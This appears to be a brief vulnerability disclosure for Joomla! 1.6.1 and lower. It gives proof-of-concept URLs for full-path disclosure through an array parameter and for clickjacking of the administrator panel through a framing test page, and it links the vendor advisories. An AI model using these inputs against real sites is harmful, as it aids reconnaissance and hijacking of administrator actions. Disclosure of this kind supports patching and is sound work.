Joomla! 1.6.1 and lower | Information Disclosure & ClickJacking vulnerabilities

Information Disclosure > Full Path

Proof-of-Concept:
http://attacker.in/joomla161/index.php?Itemid[]=


ClickJacking

Proof-of-Concept:
http://yehg.net/lab/pr0js/pentest/cross_site_framing.php?url=http://attacker.in/joomla161/administrator

Vendor References:
http://developer.joomla.org/security/news/347-20110409-core-clickjacking.html
http://developer.joomla.org/security/news/341-20110402-core-information-disclosure.html